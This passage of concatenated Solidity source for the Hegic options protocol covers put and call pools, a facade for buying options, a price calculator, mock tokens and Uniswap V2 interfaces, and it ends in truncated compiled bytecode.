latestPrice, , , ) = priceProvider.latestRoundData(); price = uint256(latestPrice); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } pragma solidity 0.8.6; /** * SPDX-License-Identifier: GPL-3.0-or-later * Hegic * Copyright (C) 2021 Hegic Protocol * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. **/ import "./HegicPool.sol"; /** * @author 0mllwntrmt3 * @title Hegic Protocol V8888 Put Liquidity Pool Contract * @notice The Put Liquidity Pool Contract **/ contract HegicPUT is HegicPool { uint256 private immutable SpotDecimals; // 1e18 uint256 private constant TokenDecimals = 1e6; // 1e6 /** * @param name The pool contract name * @param symbol The pool ticker for the ERC721 options **/ constructor( IERC20 _token, string memory name, string memory symbol, IOptionsManager manager, IPriceCalculator _pricer, IHegicStaking _settlementFeeRecipient, AggregatorV3Interface _priceProvider, uint8 spotDecimals ) HegicPool( _token, name, symbol, manager, _pricer, _settlementFeeRecipient, _priceProvider ) { SpotDecimals = 10**spotDecimals; } function _profitOf(Option memory option) internal view override returns (uint256 amount) { uint256 currentPrice = _currentPrice(); if (currentPrice > option.strike) return 0; return ((option.strike - currentPrice) * option.amount * TokenDecimals) / SpotDecimals / 1e8; } function _calculateLockedAmount(uint256 amount) internal view override returns (uint256) { return (amount * collateralizationRatio * _currentPrice() * TokenDecimals) / SpotDecimals / 1e8 / 100; } function _calculateTotalPremium( uint256 period, uint256 amount, uint256 strike ) internal view override returns (uint256 settlementFee, uint256 premium) { uint256 currentPrice = _currentPrice(); (settlementFee, premium) = pricer.calculateTotalPremium( period, amount, strike ); settlementFee = (settlementFee * currentPrice * TokenDecimals) / 1e8 / SpotDecimals; premium = (premium * currentPrice * TokenDecimals) / 1e8 / SpotDecimals; } } pragma solidity 0.8.6; /** * SPDX-License-Identifier: GPL-3.0-or-later * Hegic * Copyright (C) 2021 Hegic Protocol * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. **/ import "../Interfaces/Interfaces.sol"; import "../Interfaces/IOptionsManager.sol"; /** * @author 0mllwntrmt3 * @title Hegic Protocol V8888 Facade Contract * @notice The contract that calculates the options prices, * conducts the process of buying options, converts the premiums * into the token that the pool is denominated in and grants * permissions to the contracts such as GSN (Gas Station Network). **/ contract Facade is Ownable { using SafeERC20 for IERC20; IWETH public immutable WETH; IUniswapV2Router01 public immutable exchange; IOptionsManager public immutable optionsManager; address public _trustedForwarder; constructor( IWETH weth, IUniswapV2Router01 router, IOptionsManager manager, address trustedForwarder ) { WETH = weth; exchange = router; _trustedForwarder = trustedForwarder; optionsManager = manager; } /** * @notice Used for calculating the option price (the premium) and using * the swap router (if needed) to convert the tokens with which the user * pays the premium into the token in which the pool is denominated. * @param period The option period * @param amount The option size * @param strike The option strike * @param total The total premium * @param baseTotal The part of the premium that * is distributed among the liquidity providers * @param settlementFee The part of the premium that * is distributed among the HEGIC staking participants **/ function getOptionPrice( IHegicPool pool, uint256 period, uint256 amount, uint256 strike, address[] calldata swappath ) public view returns ( uint256 total, uint256 baseTotal, uint256 settlementFee, uint256 premium ) { (uint256 _baseTotal, uint256 baseSettlementFee, uint256 basePremium) = getBaseOptionCost(pool, period, amount, strike); if (swappath.length > 1) total = exchange.getAmountsIn(_baseTotal, swappath)[0]; else total = _baseTotal; baseTotal = _baseTotal; settlementFee = (total * baseSettlementFee) / baseTotal; premium = (total * basePremium) / baseTotal; } /** * @notice Used for calculating the option price (the premium) * in the token in which the pool is denominated. * @param period The option period * @param amount The option size * @param strike The option strike **/ function getBaseOptionCost( IHegicPool pool, uint256 period, uint256 amount, uint256 strike ) public view returns ( uint256 total, uint256 settlementFee, uint256 premium ) { (settlementFee, premium) = pool.calculateTotalPremium( period, amount, strike ); total = premium + settlementFee; } /** * @notice Used for approving the pools contracts addresses. **/ function poolApprove(IHegicPool pool) external { pool.token().safeApprove(address(pool), 0); pool.token().safeApprove(address(pool), type(uint256).max); } /** * @notice Used for buying the option contract and converting * the buyer's tokens (the total premium) into the token * in which the pool is denominated. * @param period The option period * @param amount The option size * @param strike The option strike * @param acceptablePrice The highest acceptable price **/ function createOption( IHegicPool pool, uint256 period, uint256 amount, uint256 strike, address[] calldata swappath, uint256 acceptablePrice ) external payable { address buyer = _msgSender(); (uint256 optionPrice, uint256 rawOptionPrice, , ) = getOptionPrice(pool, period, amount, strike, swappath); require( optionPrice <= acceptablePrice, "Facade Error: The option price is too high" ); IERC20 paymentToken = IERC20(swappath[0]); paymentToken.safeTransferFrom(buyer, address(this), optionPrice); if (swappath.length > 1) { if ( paymentToken.allowance(address(this), address(exchange)) < optionPrice ) { paymentToken.safeApprove(address(exchange), 0); paymentToken.safeApprove(address(exchange), type(uint256).max); } exchange.swapTokensForExactTokens( rawOptionPrice, optionPrice, swappath, address(this), block.timestamp ); } pool.sellOption(buyer, period, amount, strike); } /** * @notice Used for converting the liquidity provider's Ether (ETH) * into Wrapped Ether (WETH) and providing the funds into the pool. * @param hedged The liquidity tranche type: hedged or unhedged (classic) **/ function provideEthToPool( IHegicPool pool, bool hedged, uint256 minShare ) external payable returns (uint256) { WETH.deposit{value: msg.value}(); if (WETH.allowance(address(this), address(pool)) < msg.value) WETH.approve(address(pool), type(uint256).max); return pool.provideFrom(msg.sender, msg.value, hedged, minShare); } /** * @notice Unlocks the array of options. * @param optionIDs The array of options **/ function unlockAll(IHegicPool pool, uint256[] calldata optionIDs) external { uint256 arrayLength = optionIDs.length; for (uint256 i = 0; i < arrayLength; i++) { pool.unlock(optionIDs[i]); } } /** * @notice Used for granting the GSN (Gas Station Network) contract * the permission to pay the gas (transaction) fees for the users. * @param forwarder GSN (Gas Station Network) contract address **/ function isTrustedForwarder(address forwarder) public view returns (bool) { return forwarder == _trustedForwarder; } function claimAllStakingProfits( IHegicStaking[] calldata stakings, address account ) external { uint256 arrayLength = stakings.length; for (uint256 i = 0; i < arrayLength; i++) { IHegicStaking s = stakings[i]; if (s.profitOf(account) > 0) s.claimProfits(account); } } function _msgSender() internal view override returns (address signer) { signer = msg.sender; if (msg.data.length >= 20 && isTrustedForwarder(signer)) { assembly { signer := shr(96, calldataload(sub(calldatasize(), 20))) } } } function exercise(uint256 optionId) external { require( optionsManager.isApprovedOrOwner(_msgSender(), optionId), "Facade Error: _msgSender is not eligible to exercise the option" ); IHegicPool(optionsManager.tokenPool(optionId)).exercise(optionId); } } pragma solidity 0.8.6; /** * SPDX-License-Identifier: GPL-3.0-or-later * Hegic * Copyright (C) 2021 Hegic Protocol * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. **/ import "./HegicPool.sol"; /** * @author 0mllwntrmt3 * @title Hegic Protocol V8888 Call Liquidity Pool Contract * @notice The Call Liquidity Pool Contract **/ contract HegicCALL is HegicPool { /** * @param name The pool contract name * @param symbol The pool ticker for the ERC721 options **/ constructor( IERC20 _token, string memory name, string memory symbol, IOptionsManager manager, IPriceCalculator _pricer, IHegicStaking _settlementFeeRecipient, AggregatorV3Interface _priceProvider ) HegicPool( _token, name, symbol, manager, _pricer, _settlementFeeRecipient, _priceProvider ) {} function _profitOf(Option memory option) internal view override returns (uint256 amount) { uint256 currentPrice = _currentPrice(); if (currentPrice < option.strike) return 0; return ((currentPrice - option.strike) * option.amount) / currentPrice; } } pragma solidity 0.8.6; /** * SPDX-License-Identifier: GPL-3.0-or-later * Hegic * Copyright (C) 2021 Hegic * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. **/ import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; contract ERC20Mock is ERC20 { uint8 private immutable _decimals; constructor( string memory name, string memory symbol, uint8 __decimals ) ERC20("token", "symbol") { _decimals = __decimals; } function decimals() public view override returns (uint8) { return _decimals; } function mintTo(address account, uint256 amount) public { _mint(account, amount); } function mint(uint256 amount) public { _mint(msg.sender, amount); } } pragma solidity 0.8.6; /** * SPDX-License-Identifier: GPL-3.0-or-later * Hegic * Copyright (C) 2021 Hegic * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. **/ import "./ERC20Mock.sol"; contract WETHMock is ERC20Mock("WETH", "Wrapped Ether", 18) { function deposit() external payable { _mint(msg.sender, msg.value); } function withdraw(uint256 amount) external { _burn(msg.sender, amount); payable(msg.sender).transfer(amount); } } pragma solidity 0.8.6; /** * SPDX-License-Identifier: GPL-3.0-or-later * Hegic * Copyright (C) 2021 Hegic * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. **/ import "./ERC20Mock.sol"; import "@chainlink/contracts/src/v0.7/interfaces/AggregatorV3Interface.sol"; contract UniswapRouterMock { ERC20Mock public immutable WBTC; ERC20Mock public immutable USDC; AggregatorV3Interface public immutable WBTCPriceProvider; AggregatorV3Interface public immutable ETHPriceProvider; constructor( ERC20Mock _wbtc, ERC20Mock _usdc, AggregatorV3Interface wpp, AggregatorV3Interface epp ) { WBTC = _wbtc; USDC = _usdc; WBTCPriceProvider = wpp; ETHPriceProvider = epp; } function swapETHForExactTokens( uint256 amountOut, address[] calldata path, address to, uint256 /*deadline*/ ) external payable returns (uint256[] memory amounts) { require(path.length == 2, "UniswapMock: wrong path"); require( path[1] == address(USDC) || path[1] == address(WBTC), "UniswapMock: too small value" ); amounts = getAmountsIn(amountOut, path); require(msg.value >= amounts[0], "UniswapMock: too small value"); if (msg.value > amounts[0]) payable(msg.sender).transfer(msg.value - amounts[0]); ERC20Mock(path[1]).mintTo(to, amountOut); } function getAmountsIn(uint256 amountOut, address[] calldata path) public view returns (uint256[] memory amounts) { require(path.length == 2, "UniswapMock: wrong path"); uint256 amount; if (path[1] == address(USDC)) { (, int256 ethPrice, , , ) = ETHPriceProvider.latestRoundData(); amount = (amountOut * 1e8) / uint256(ethPrice); } else if (path[1] == address(WBTC)) { (, int256 ethPrice, , , ) = ETHPriceProvider.latestRoundData(); (, int256 wbtcPrice, , , ) = WBTCPriceProvider.latestRoundData(); amount = (amountOut * uint256(wbtcPrice)) / uint256(ethPrice); } else { revert("UniswapMock: wrong path"); } amounts = new uint256[](2); amounts[0] = (amount * 103) / 100; amounts[1] = amountOut; } } pragma solidity 0.8.6; /** * SPDX-License-Identifier: GPL-3.0-or-later * Hegic * Copyright (C) 2021 Hegic Protocol * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. **/ import "../Interfaces/Interfaces.sol"; import "../utils/Math.sol"; /** * @author 0mllwntrmt3 * @title Hegic Protocol V8888 Price Calculator Contract * @notice The contract that calculates the options prices (the premiums) * that are adjusted through the `ImpliedVolRate` parameter. **/ contract PriceCalculator is IPriceCalculator, Ownable { using HegicMath for uint256; uint256 public impliedVolRate; uint256 internal constant PRICE_DECIMALS = 1e8; uint256 internal constant PRICE_MODIFIER_DECIMALS = 1e8; uint256 public utilizationRate = 0; AggregatorV3Interface public priceProvider; IHegicPool pool; constructor( uint256 initialRate, AggregatorV3Interface _priceProvider, IHegicPool _pool ) { pool = _pool; priceProvider = _priceProvider; impliedVolRate = initialRate; } /** * @notice Used for adjusting the options prices (the premiums) * while balancing the asset's implied volatility rate. * @param value New IVRate value **/ function setImpliedVolRate(uint256 value) external onlyOwner { impliedVolRate = value; } /** * @notice Used for updating utilizationRate value * @param value New utilizationRate value **/ function setUtilizationRate(uint256 value) external onlyOwner { utilizationRate = value; } /** * @notice Used for calculating the options prices * @param period The option period in seconds (1 days <= period <= 90 days) * @param amount The option size * @param strike The option strike * @return settlementFee The part of the premium that * is distributed among the HEGIC staking participants * @return premium The part of the premium that * is distributed among the liquidity providers **/ function calculateTotalPremium( uint256 period, uint256 amount, uint256 strike ) public view override returns (uint256 settlementFee, uint256 premium) { uint256 currentPrice = _currentPrice(); if (strike == 0) strike = currentPrice; require( strike == currentPrice, "Only ATM options are currently available" ); uint256 total = _calculatePeriodFee(amount, period); settlementFee = total / 5; premium = total - settlementFee; } /** * @notice Calculates and prices in the time value of the option * @param amount Option size * @param period The option period in seconds (1 days <= period <= 90 days) * @return fee The premium size to be paid **/ function _calculatePeriodFee(uint256 amount, uint256 period) internal view returns (uint256 fee) { return (amount * _priceModifier(amount, period, pool)) / PRICE_DECIMALS / PRICE_MODIFIER_DECIMALS; } /** * @notice Calculates `periodFee` of the option * @param amount The option size * @param period The option period in seconds (1 days <= period <= 90 days) **/ function _priceModifier( uint256 amount, uint256 period, IHegicPool pool ) internal view returns (uint256 iv) { uint256 poolBalance = pool.totalBalance(); require(poolBalance > 0, "Pool Error: The pool is empty"); iv = impliedVolRate * period.sqrt(); uint256 lockedAmount = pool.lockedAmount() + amount; uint256 utilization = (lockedAmount * 100e8) / poolBalance; if (utilization > 40e8) { iv += (iv * (utilization - 40e8) * utilizationRate) / 40e16; } } /** * @notice Used for requesting the current price of the asset * using the ChainLink data feeds contracts. * See https://feeds.chain.link/ * @return price Price **/ function _currentPrice() internal view returns (uint256 price) { (, int256 latestPrice, , , ) = priceProvider.latestRoundData(); price = uint256(latestPrice); } } pragma solidity 0.8.6; /** * SPDX-License-Identifier: GPL-3.0-or-later * Hegic * Copyright (C) 2021 Hegic Protocol * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. **/ library HegicMath { /** * @dev Calculates a square root of the number. * Responds with an "invalid opcode" at uint(-1). **/ function sqrt(uint256 x) internal pure returns (uint256 result) { result = x; uint256 k = (x >> 1) + 1; while (k < result) (result, k) = (k, (x / k + k) >> 1); } } pragma solidity >=0.5.0; interface IWETH { function deposit() external payable; function transfer(address to, uint value) external returns (bool); function withdraw(uint) external; } pragma solidity >=0.5.0; interface IERC20 { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); } pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } pragma solidity >=0.5.0; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } pragma solidity >=0.5.0; interface IUniswapV2Callee { function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external; } pragma solidity >=0.5.0; interface IERC20 { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); } pragma solidity >=0.5.0; interface IUniswapV2ERC20 { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; } pragma solidity >=0.6.0; // helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false library TransferHelper { function safeApprove(address token, address to, uint value) internal { // bytes4(keccak256(bytes('approve(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED'); } function safeTransfer(address token, address to, uint value) internal { // bytes4(keccak256(bytes('transfer(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED'); } function safeTransferFrom(address token, address from, address to, uint value) internal { // bytes4(keccak256(bytes('transferFrom(address,address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED'); } function safeTransferETH(address to, uint value) internal { (bool success,) = to.call{value:value}(new bytes(0)); require(success, 'TransferHelper: ETH_TRANSFER_FAILED'); } }
0x608060405234801561001057600080fd5b50600436106101e55760003560e01c806371e395a81161010f578063a457c2d7116100a2578063b0d05a1811610071578063b0d05a1814610462578063da34364b1461046b578063dd62ed3e14610473578063fc0c546a146104ac57600080fd5b8063a457c2d714610409578063a67372911461041c578063a9059cbb1461043c578063ac1ec28f1461044f57600080fd5b806392c1ead3116100de57806392c1ead3146103d257806395d89b41146103db578063993ac84c146103e35780639b96ad7a146103f657600080fd5b806371e395a81461036157806380e22e7e146103a057806383829928146103a957806386001519146103c957600080fd5b80632d3008dd116101875780633f40406c116101565780633f40406c146102ef5780634e7a191a1461031257806354198ce91461032557806370a082311461033857600080fd5b80632d3008dd146102a9578063313ce567146102ba57806339509351146102c957806339d91ec3146102dc57600080fd5b806318160ddd116101c357806318160ddd146102555780631b7150301461025d57806323b872dd146102665780632ba591751461027957600080fd5b806301c9c3b7146101ea57806306fdde031461021d578063095ea7b314610232575b600080fd5b61020a6101f836600461180f565b60106020526000908152604090205481565b6040519081526020015b60405180910390f35b6102256104d3565b604051610214919061194b565b610245610240366004611899565b610565565b6040519015158152602001610214565b60025461020a565b61020a600d5481565b61024561027436600461185d565b61057b565b6102a76102873660046118c3565b336000908152601160205260409020805460ff1916911515919091179055565b005b61020a69bc0a9392c65c3b00000081565b60405160008152602001610214565b6102456102d7366004611899565b61062c565b6102a76102ea3660046118fd565b610668565b6102456102fd36600461180f565b60116020526000908152604090205460ff1681565b6102a76103203660046118fd565b610775565b61020a61033336600461180f565b610853565b61020a61034636600461180f565b6001600160a01b031660009081526020819052604090205490565b6103887f000000000000000000000000584bc13c7d411c00c01a62e8019472de6876843081565b6040516001600160a01b039091168152602001610214565b61020a600e5481565b61020a6103b736600461180f565b60076020526000908152604090205481565b61020a60085481565b61020a600a5481565b61022561089e565b61020a6103f136600461180f565b6108ad565b6102a76104043660046118fd565b6109bc565b610245610417366004611899565b610a4e565b61020a61042a36600461180f565b600f6020526000908152604090205481565b61024561044a366004611899565b610ae7565b6102a761045d3660046118fd565b610af4565b61020a60065481565b6102a7610b78565b61020a61048136600461182a565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6103887f0000000000000000000000002260fac5e5542a773aa44fbcfedf7c193bc2c59981565b6060600380546104e290611a8b565b80601f016020809104026020016040519081016040528092919081815260200182805461050e90611a8b565b801561055b5780601f106105305761010080835404028352916020019161055b565b820191906000526020600020905b81548152906001019060200180831161053e57829003601f168201915b5050505050905090565b6000610572338484610d9d565b50600192915050565b6000610588848484610ec1565b6001600160a01b0384166000908152600160209081526040808320338452909152902054828110156106125760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61061f8533858403610d9d565b60019150505b9392505050565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916105729185906106639086906119ef565b610d9d565b600081116106885760405162461bcd60e51b8152600401610609906119c7565b600e543360009081526010602052604090205442916106a6916119ef565b106106c35760405162461bcd60e51b81526004016106099061197e565b6106cc3361109c565b80600660008282546106de9190611a48565b90915550503360009081526007602052604081208054839290610702908490611a48565b9091555061073c90506001600160a01b037f000000000000000000000000584bc13c7d411c00c01a62e8019472de68768430163383611128565b60405181815233907fe9306b701d178418bf4ab8cb60b94e25a6b7024fe6ec6c9e216ec2dc4e383a06906020015b60405180910390a250565b600081116107955760405162461bcd60e51b8152600401610609906119c7565b61079e3361109c565b336000908152601060205260408120429055600680548392906107c29084906119ef565b909155505033600090815260076020526040812080548392906107e69084906119ef565b9091555061082190506001600160a01b037f000000000000000000000000584bc13c7d411c00c01a62e8019472de6876843016333084611190565b60405181815233907f4391190baaaaacfb4e8fe9299153f996ab726ab06e4d0a80a1be3c8fff79e2229060200161076a565b6000806000610861846111c8565b6001600160a01b0386166000908152600c60205260409020549193509150819061088c9084906119ef565b61089691906119ef565b949350505050565b6060600480546104e290611a8b565b60006108b88261109c565b506001600160a01b0381166000908152600c60205260409020548061090d5760405162461bcd60e51b815260206004820152600b60248201526a16995c9bc81c1c9bd99a5d60aa1b6044820152606401610609565b6001600160a01b0382166000908152600c602052604081208190556005805483929061093a908490611a48565b9091555061097490506001600160a01b037f0000000000000000000000002260fac5e5542a773aa44fbcfedf7c193bc2c599168383611128565b816001600160a01b03167f47cee97cb7acd717b3c0aa1435d004cd5b3c8c57d70dbceb4e4458bbd60e39d4826040516109af91815260200190565b60405180910390a2919050565b600d54336000908152600f602052604090205442916109da916119ef565b11156109f85760405162461bcd60e51b81526004016106099061197e565b610a023382611291565b610a4b33610a1a69bc0a9392c65c3b00000084611a29565b6001600160a01b037f000000000000000000000000584bc13c7d411c00c01a62e8019472de68768430169190611128565b50565b3360009081526001602090815260408083206001600160a01b038616845290915281205482811015610ad05760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610609565b610add3385858403610d9d565b5060019392505050565b6000610572338484610ec1565b336000908152600f6020526040902042905580610b235760405162461bcd60e51b8152600401610609906119c7565b610b2d33826113eb565b610a4b3330610b4669bc0a9392c65c3b00000085611a29565b6001600160a01b037f000000000000000000000000584bc13c7d411c00c01a62e8019472de6876843016929190611190565b6005546040516370a0823160e01b8152306004820152600091906001600160a01b037f0000000000000000000000002260fac5e5542a773aa44fbcfedf7c193bc2c59916906370a082319060240160206040518083038186803b158015610bde57600080fd5b505afa158015610bf2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c169190611916565b610c209190611a48565b90508060056000828254610c3491906119ef565b9091555050600254600081600654610c4c91906119ef565b1115610d9957600654610c975780610c716c0c9f2c9cd04674edea4000000084611a29565b610c7b9190611a07565b60086000828254610c8c91906119ef565b90915550610d659050565b80610cd157600654610cb66c0c9f2c9cd04674edea4000000084611a29565b610cc09190611a07565b600a6000828254610c8c91906119ef565b6000610cde600584611a07565b90506000610cec8285611a48565b600654909150610d096c0c9f2c9cd04674edea4000000084611a29565b610d139190611a07565b600a6000828254610d2491906119ef565b90915550839050610d426c0c9f2c9cd04674edea4000000083611a29565b610d4c9190611a07565b60086000828254610d5d91906119ef565b909155505050505b6040518281527f357d905f1831209797df4d55d79c5c5bf1d9f7311c976afd05e13d881eab9bc89060200160405180910390a15b5050565b6001600160a01b038316610dff5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610609565b6001600160a01b038216610e605760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610609565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610f255760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610609565b6001600160a01b038216610f875760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610609565b610f928383836114d6565b6001600160a01b0383166000908152602081905260409020548181101561100a5760405162461bcd60e51b81526